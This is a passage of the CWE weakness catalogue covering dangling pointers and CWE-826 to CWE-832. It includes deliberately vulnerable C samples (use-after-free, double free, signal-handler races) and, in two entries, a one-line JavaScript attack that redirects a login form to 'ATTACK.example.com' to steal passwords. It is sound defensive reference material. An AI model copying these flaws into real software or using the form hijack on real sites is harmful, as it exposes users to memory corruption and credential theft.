Nature	Type	ID	Name	Page
MemberOf		465	Pointer Issues	1796

### Alternate Terms

**Dangling pointer** :

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	

Scope	Impact	Likelihood
	<i>If the expired pointer is used in a read operation, an attacker might be able to control data read in by the application.</i>	
Availability	DoS: Crash, Exit, or Restart  <i>If the expired pointer references a memory location that is not accessible to the program, or points to a location that is "malformed" (such as NULL) or larger than expected by a read or write operation, then a crash may occur.</i>	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands  <i>If the expired pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Choose a language that provides automatic memory management.

#### Phase: Implementation

When freeing pointers, be sure to set them to NULL once they are freed. However, the utilization of multiple or complex data structures may lower the usefulness of this strategy.

### Demonstrative Examples

#### Example 1:

The following code shows a simple example of a use after free error:

Example Language: C

(bad)

```
char* ptr = (char*)malloc (SIZE);
if (err) {
    abrt = 1;
    free(ptr);
}
...
if (abrt) {
    logError("operation aborted before commit", ptr);
}
```

When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.

#### Example 2:

The following code shows a simple example of a double free error:

Example Language: C

(bad)

```
char* ptr = (char*)malloc (SIZE);
...
if (abrt) {
    free(ptr);
}
...
free(ptr);
```

Double free vulnerabilities have two common (and sometimes overlapping) causes:

- Error conditions and other exceptional circumstances
- Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

### Observed Examples

<b>CVE-2008-5013</b>	access of expired memory address leads to arbitrary code execution <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5013">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5013</a>
<b>CVE-2010-3257</b>	stale pointer issue leads to denial of service and possibly other consequences <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3257">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3257</a>
<b>CVE-2007-1211</b>	read of value at an offset into a structure after the offset is no longer valid <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1211">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1211</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	<input type="checkbox"/>	Page
MemberOf	<input checked="" type="checkbox"/>	867	2011 Top 25 - Weaknesses On the Cusp	<input type="checkbox"/>	900 1841
MemberOf	<input type="checkbox"/>	884	CWE Cross-section	<input type="checkbox"/>	884 1964

### Notes

#### Maintenance

There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

#### Terminology

Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

#### Research Gap

Under-studied and probably under-reported as of September 2010. This weakness has been reported in high-visibility software, but applied vulnerability researchers have only been investigating it since approximately 2008, and there are only a few public reports. Few reports identify weaknesses at such a low level, which makes it more difficult to find and study real-world code examples.

## CWE-826: Premature Release of Resource During Expected Lifetime

<b>Weakness ID</b> : 826	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The program releases a resource that is still intended to be used by the program itself or another actor.

### Extended Description

This weakness focuses on errors in which the program should not release a resource, but performs the release anyway. This is different than a weakness in which the program releases a resource at

the appropriate time, but it maintains a reference to the resource, which it later accesses. For this weakness, the resource should still be valid upon the subsequent access.

When a program releases a resource that is still being used, it is possible that operations will still be taken on this resource, which may have been repurposed in the meantime, leading to issues similar to CWE-825. Consequences may include denial of service, information exposure, or code execution.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		666	Operation on Resource in Wrong Phase of Lifetime	1295
CanPrecede		672	Operation on a Resource after Expiration or Release	1307

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		399	Resource Management Errors	1792
MemberOf		840	Business Logic Errors	1829

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Memory  <i>If the released resource is subsequently reused or reallocated, then a read operation on the original resource might access sensitive data that is associated with a different user or entity.</i>	
Availability	DoS: Crash, Exit, or Restart  <i>When the resource is released, the software might modify some of its structure, or close associated channels (such as a file descriptor). When the software later accesses the resource as if it is valid, the resource might not be in an expected state, leading to resultant errors that may lead to a crash.</i>	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands Modify Application Data Modify Memory  <i>When the resource is released, the software might modify some of its structure. This might affect program logic in the sections of code that still assume the resource is active. If the released resource is related to memory and is used in a function call, or points to unexpected data in a write operation, then code execution may be possible upon subsequent accesses.</i>	

## Observed Examples

Reference	Description
<b>CVE-2009-3547</b>	chain: race condition might allow resource to be released before operating on it, leading to NULL dereference

Reference	Description
	<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3547">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3547</a>

## Notes

### Research Gap

Under-studied and under-reported as of September 2010. This weakness has been reported in high-visibility software, although the focus has been primarily on memory allocation and de-allocation. There are very few examples of this weakness that are not directly related to memory management, although such weaknesses are likely to occur in real-world software for other types of resources.

## CWE-827: Improper Control of Document Type Definition

<b>Weakness ID</b> : 827	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The software does not restrict a reference to a Document Type Definition (DTD) to the intended control sphere. This might allow attackers to reference arbitrary DTDs, possibly causing the software to expose files, consume excessive system resources, or execute arbitrary http requests on behalf of the attacker.

### Extended Description

As DTDs are processed, they might try to read or include files on the machine performing the parsing. If an attacker is able to control the DTD, then the attacker might be able to specify sensitive resources or requests or provide malicious content.

For example, the SOAP specification prohibits SOAP messages from containing DTDs.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

## CWE-828: Signal Handler with Functionality that is not Asynchronous-Safe

**Weakness ID** : 828

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Base

### Description

The software defines a signal handler that contains code sequences that are not asynchronous-safe, i.e., the functionality is not reentrant, or it can be interrupted.

### Extended Description

This can lead to an unexpected system state with a variety of potential consequences depending on context, including denial of service and code execution.

Signal handlers are typically intended to interrupt normal functionality of a program, or even other signals, in order to notify the process of an event. When a signal handler uses global or static variables, or invokes functions that ultimately depend on such state or its associated metadata, then it could corrupt system state that is being used by normal functionality. This could subject the program to race conditions or other weaknesses that allow an attacker to cause the program state to be corrupted. While denial of service is frequently the consequence, in some cases this weakness could be leveraged for code execution.

There are several different scenarios that introduce this issue:

- Invocation of non-reentrant functions from within the handler. One example is `malloc()`, which modifies internal global variables as it manages memory. Very few functions are actually reentrant.

- Code sequences (not necessarily function calls) contain non-atomic use of global variables, or associated metadata or structures, that can be accessed by other functionality of the program, including other signal handlers. Frequently, the same function is registered to handle multiple signals.
- The signal handler function is intended to run at most one time, but instead it can be invoked multiple times. This could happen by repeated delivery of the same signal, or by delivery of different signals that have the same handler function (CWE-831).

Note that in some environments or contexts, it might be possible for the signal handler to be interrupted itself.

If both a signal handler and the normal behavior of the software have to operate on the same set of state variables, and a signal is received in the middle of the normal execution's modifications of those variables, the variables may be in an incorrect or corrupt state during signal handler execution, and possibly still incorrect or corrupt upon return.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		364	Signal Handler Race Condition	801
ParentOf		479	Signal Handler Use of a Non-reentrant Function	1019

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		387	Signal Errors	1790

## Common Consequences

Scope	Impact	Likelihood
Integrity	DoS: Crash, Exit, or Restart	
Confidentiality	Execute Unauthorized Code or Commands	
Availability	<i>The most common consequence will be a corruption of the state of the software, possibly leading to a crash or exit. However, if the signal handler is operating on state variables for security relevant libraries or protection mechanisms, the consequences can be far more severe, including protection mechanism bypass, privilege escalation, or information exposure.</i>	

## Potential Mitigations

**Phase: Implementation**

**Phase: Architecture and Design**

Eliminate the usage of non-reentrant functionality inside of signal handlers. This includes replacing all non-reentrant library calls with reentrant calls. Note: This will not always be possible and may require large portions of the software to be rewritten or even redesigned. Sometimes reentrant-safe library alternatives will not be available. Sometimes non-reentrant interaction between the state of the system and the signal handler will be required by design.

*Effectiveness = High*

**Phase: Implementation**

Where non-reentrant functionality must be leveraged within a signal handler, be sure to block or mask signals appropriately. This includes blocking other signals within the signal handler itself that may also leverage the functionality. It also includes blocking all signals reliant upon the functionality when it is being accessed or modified by the normal behaviors of the software.

## Demonstrative Examples

### Example 1:

This code registers the same signal handler function with two different signals (CWE-831). If those signals are sent to the process, the handler creates a log message (specified in the first argument to the program) and exits.

Example Language: C

(bad)

```
char *logMessage;
void handler (int sigNum) {
    syslog(LOG_NOTICE, "%s\n", logMessage);
    free(logMessage);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
    exit(0);
}
int main (int argc, char* argv[]) {
    logMessage = strdup(argv[1]);
    /* Register signal handlers. */
    signal(SIGHUP, handler);
    signal(SIGTERM, handler);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
}
```

The handler function uses global state (globalVar and logMessage), and it can be called by both the SIGHUP and SIGTERM signals. An attack scenario might follow these lines:

- The program begins execution, initializes logMessage, and registers the signal handlers for SIGHUP and SIGTERM.
- The program begins its "normal" functionality, which is simplified as sleep(), but could be any functionality that consumes some time.
- The attacker sends SIGHUP, which invokes handler (call this "SIGHUP-handler").
- SIGHUP-handler begins to execute, calling syslog().
- syslog() calls malloc(), which is non-reentrant. malloc() begins to modify metadata to manage the heap.
- The attacker then sends SIGTERM.
- SIGHUP-handler is interrupted, but syslog's malloc call is still executing and has not finished modifying its metadata.
- The SIGTERM handler is invoked.
- SIGTERM-handler records the log message using syslog(), then frees the logMessage variable.

At this point, the state of the heap is uncertain, because malloc is still modifying the metadata for the heap; the metadata might be in an inconsistent state. The SIGTERM-handler call to free() is assuming that the metadata is inconsistent, possibly causing it to write data to the wrong location while managing the heap. The result is memory corruption, which could lead to a crash or even code execution, depending on the circumstances under which the code is running.

Note that this is an adaptation of a classic example as originally presented by Michal Zalewski [REF-360]; the original example was shown to be exploitable for code execution.

Also note that the strdup(argv[1]) call contains a potential buffer over-read (CWE-126) if the program is called without any arguments, because argc would be 0, and argv[1] would point outside the bounds of the array.

**Example 2:**

The following code registers a signal handler with multiple signals in order to log when a specific event occurs and to free associated memory before exiting.

Example Language: C

(bad)

```
#include <signal.h>
#include <syslog.h>
#include <string.h>
#include <stdlib.h>
void *global1, *global2;
char *what;
void sh (int dummy) {
    syslog(LOG_NOTICE, "%s\n", what);
    free(global2);
    free(global1);
    /* Sleep statements added to expand timing window for race condition */
    sleep(10);
    exit(0);
}
int main (int argc, char* argv[]) {
    what=argv[1];
    global1=strdup(argv[2]);
    global2=malloc(340);
    signal(SIGHUP, sh);
    signal(SIGTERM, sh);
    /* Sleep statements added to expand timing window for race condition */
    sleep(10);
    exit(0);
}
```

However, the following sequence of events may result in a double-free (CWE-415):

1. a SIGHUP is delivered to the process
2. sh() is invoked to process the SIGHUP
3. This first invocation of sh() reaches the point where global1 is freed
4. At this point, a SIGTERM is sent to the process
5. the second invocation of sh() might do another free of global1
6. this results in a double-free (CWE-415)

This is just one possible exploitation of the above code. As another example, the syslog call may use malloc calls which are not async-signal safe. This could cause corruption of the heap management structures. For more details, consult the example within "Delivering Signals for Fun and Profit" (see references).

**Observed Examples**

Reference	Description
<b>CVE-2008-4109</b>	Signal handler uses functions that ultimately call the unsafe syslog/malloc/s*printf, leading to denial of service via multiple login attempts <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4109">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4109</a>
<b>CVE-2006-5051</b>	Chain: Signal handler contains too much functionality (CWE-828), introducing a race condition that leads to a double free (CWE-415). <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5051">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5051</a>

## CWE-829: Inclusion of Functionality from Untrusted Control Sphere

<b>Weakness ID</b> : 829	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.

### Extended Description

When including third-party functionality, such as a web widget, library, or other source of functionality, the software must effectively trust that functionality. Without sufficient protection mechanisms, the functionality could be malicious in nature (either by coming from an untrusted source, being spoofed, or being modified in transit from a trusted source). The functionality might also contain its own weaknesses, or grant access to additional functionality and state information that should be kept private to the base system, such as system state information, sensitive application data, or the DOM of a web application.

This might lead to many different consequences depending on the included functionality, but some examples include injection of malware, information exposure by granting excessive privileges or permissions to the untrusted functionality, DOM-based XSS vulnerabilities, stealing user's cookies, or open redirect to malware (CWE-601).

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands  <i>An attacker could insert malicious functionality into the program by causing the program to download code that the attacker has placed into the untrusted control sphere, such as a malicious web site.</i>	

### Detection Methods

#### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = SOAR Partial*

#### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

#### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Forced Path Execution Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

*Effectiveness = SOAR Partial*

#### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

*Effectiveness = High*

#### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial*

#### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

*Effectiveness = High*

## Potential Mitigations

### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

### Phase: Architecture and Design

*Strategy = Enforcement by Conversion*

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.

### Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

### Phase: Architecture and Design

#### Phase: Operation

*Strategy = Sandbox or Jail*

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

*Effectiveness = Limited*

*The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.*

### Phase: Architecture and Design

#### Phase: Operation

*Strategy = Environment Hardening*

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

**Phase: Architecture and Design****Phase: Operation***Strategy = Attack Surface Reduction*

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

**Phase: Architecture and Design****Phase: Implementation***Strategy = Attack Surface Reduction*

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.

**Phase: Operation***Strategy = Firewall*

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

*Effectiveness = Moderate*

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

## Demonstrative Examples

### Example 1:

This login webpage includes a weather widget from an external website:

Example Language: HTML

(bad)

```
<div class="header"> Welcome!
  <div id="loginBox">Please Login:
    <form id="loginForm" name="loginForm" action="login.php" method="post">
      Username: <input type="text" name="username" />
    <br/>
      Password: <input type="password" name="password" />
    <input type="submit" value="Login" />
    </form>
  </div>
  <div id="WeatherWidget">
    <script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>
  </div>
</div>
```

This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).

For example, user login information could easily be stolen with a single line added to weatherwidget.js:

Example Language: JavaScript

(attack)

```
...Weather widget code...
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";
```

This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.

## Observed Examples

Reference	Description
<b>CVE-2010-2076</b>	Product does not properly reject DTDs in SOAP messages, which allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2076">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2076</a>

## CWE-830: Inclusion of Web Functionality from an Untrusted Source

<b>Weakness ID</b> : 830	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The software includes web functionality (such as a web widget) from another domain, which causes it to operate within the domain of the software, potentially granting total access and control of the software to the untrusted source.

### Extended Description

Including third party functionality in a web-based environment is risky, especially if the source of the functionality is untrusted.

Even if the third party is a trusted source, the software may still be exposed to attacks and malicious behavior if that trusted source is compromised, or if the code is modified in transmission from the third party to the software.

This weakness is common in "mashup" development on the web, which may include source functionality from other domains. For example, Javascript-based web widgets may be inserted by using '<SCRIPT SRC="http://other.domain.here">' tags, which causes the code to run in the domain of the software, not the remote site from which the widget was loaded. As a result, the included code has access to the local DOM, including cookies and other data that the developer might not want the remote site to be able to access.

Such dependencies may be desirable, or even required, but sometimes programmers are not aware that a dependency exists.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		829	Inclusion of Functionality from Untrusted Control Sphere	1528

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1016	Limit Exposure	1899

### Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

### Demonstrative Examples

#### Example 1:

This login webpage includes a weather widget from an external website:

*Example Language: HTML*

*(bad)*

```
<div class="header"> Welcome!
  <div id="loginBox">Please Login:
    <form id="loginForm" name="loginForm" action="login.php" method="post">
      Username: <input type="text" name="username" />
      <br/>
      Password: <input type="password" name="password" />
      <input type="submit" value="Login" />
    </form>
  </div>
  <div id="WeatherWidget">
    <script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>
  </div>
</div>
```

This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).

For example, user login information could easily be stolen with a single line added to weatherwidget.js:

*Example Language: JavaScript*

*(attack)*

```
... Weather widget code...
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";
```

This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.

## CWE-831: Signal Handler Function Associated with Multiple Signals

**Weakness ID :** 831

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Base

### Description

The software defines a function that is used as a handler for more than one signal.

### Extended Description

While sometimes intentional and safe, when the same function is used to handle multiple signals, a race condition could occur if the function uses any state outside of its local declaration, such as global variables or non-reentrant functions, or has any side effects.

An attacker could send one signal that invokes the handler function; in many OSes, this will typically prevent the same signal from invoking the handler again, at least until the handler function has completed execution. However, the attacker could then send a different signal that is associated with the same handler function. This could interrupt the original handler function while it is still executing. If there is shared state, then the state could be corrupted. This can lead to a variety of potential consequences depending on context, including denial of service and code execution.

Another rarely-explored possibility arises when the signal handler is only designed to be executed once (if at all). By sending multiple signals, an attacker could invoke the function more than once. This may generate extra, unintended side effects. A race condition might not even be necessary; the attacker could send one signal, wait until it is handled, then send the other signal.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		364	Signal Handler Race Condition	801

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		387	Signal Errors	1790

## Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	
Integrity	Execute Unauthorized Code or Commands	
Confidentiality	Read Application Data	
Access Control	Gain Privileges or Assume Identity	
Other	Bypass Protection Mechanism Varies by Context	
<p><i>The most common consequence will be a corruption of the state of the software, possibly leading to a crash or exit. However, if the signal handler is operating on state variables for security relevant libraries or protection mechanisms, the consequences can be far more severe, including protection mechanism bypass, privilege escalation, or information exposure.</i></p>		

## Demonstrative Examples

### Example 1:

This code registers the same signal handler function with two different signals.

*Example Language: C*

*(bad)*

```
void handler (int sigNum) {
    ...
}
```

```
int main (int argc, char* argv[]) {
    signal(SIGUSR1, handler)
    signal(SIGUSR2, handler)
}
```

**Example 2:**

This code registers the same signal handler function with two different signals (CWE-831). If those signals are sent to the process, the handler creates a log message (specified in the first argument to the program) and exits.

Example Language: C

(bad)

```
char *logMessage;
void handler (int sigNum) {
    syslog(LOG_NOTICE, "%s\n", logMessage);
    free(logMessage);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
    exit(0);
}
int main (int argc, char* argv[]) {
    logMessage = strdup(argv[1]);
    /* Register signal handlers. */
    signal(SIGHUP, handler);
    signal(SIGTERM, handler);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
}
```

The handler function uses global state (globalVar and logMessage), and it can be called by both the SIGHUP and SIGTERM signals. An attack scenario might follow these lines:

- The program begins execution, initializes logMessage, and registers the signal handlers for SIGHUP and SIGTERM.
- The program begins its "normal" functionality, which is simplified as sleep(), but could be any functionality that consumes some time.
- The attacker sends SIGHUP, which invokes handler (call this "SIGHUP-handler").
- SIGHUP-handler begins to execute, calling syslog().
- syslog() calls malloc(), which is non-reentrant. malloc() begins to modify metadata to manage the heap.
- The attacker then sends SIGTERM.
- SIGHUP-handler is interrupted, but syslog's malloc call is still executing and has not finished modifying its metadata.
- The SIGTERM handler is invoked.
- SIGTERM-handler records the log message using syslog(), then frees the logMessage variable.

At this point, the state of the heap is uncertain, because malloc is still modifying the metadata for the heap; the metadata might be in an inconsistent state. The SIGTERM-handler call to free() is assuming that the metadata is inconsistent, possibly causing it to write data to the wrong location while managing the heap. The result is memory corruption, which could lead to a crash or even code execution, depending on the circumstances under which the code is running.

Note that this is an adaptation of a classic example as originally presented by Michal Zalewski [REF-360]; the original example was shown to be exploitable for code execution.

Also note that the strdup(argv[1]) call contains a potential buffer over-read (CWE-126) if the program is called without any arguments, because argc would be 0, and argv[1] would point outside the bounds of the array.

## CWE-832: Unlock of a Resource that is not Locked

**Weakness ID** : 832

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Base

### Description

The software attempts to unlock a resource that is not locked.

### Extended Description

Depending on the locking functionality, an unlock of a non-locked resource might cause memory corruption or other modification to the resource (or its associated metadata that is used for tracking locks).

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		667	Improper Locking	1296

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		411	Resource Locking Problems	1793

### Common Consequences

Scope	Impact	Likelihood
Integrity	DoS: Crash, Exit, or Restart	
Confidentiality	Execute Unauthorized Code or Commands	
Availability	Modify Memory	
Other	Other	
<p><i>Depending on the locking being used, an unlock operation might not have any adverse effects. When effects exist, the most common consequence will be a corruption of the state of the software, possibly leading to a crash or exit; depending on the implementation of the unlocking, memory corruption or code execution could occur.</i></p>		

### Observed Examples

Reference	Description
<b>CVE-2010-4210</b>	function in OS kernel unlocks a mutex that was not previously locked, causing a panic or overwrite of arbitrary memory. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4210">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4210</a>
<b>CVE-2008-4302</b>	Chain: OS kernel does not properly handle a failure of a function call (CWE-755), leading to an unlock of a resource that was not locked (CWE-832), with resultant crash.

Reference	Description
	<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4302">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4302</a>
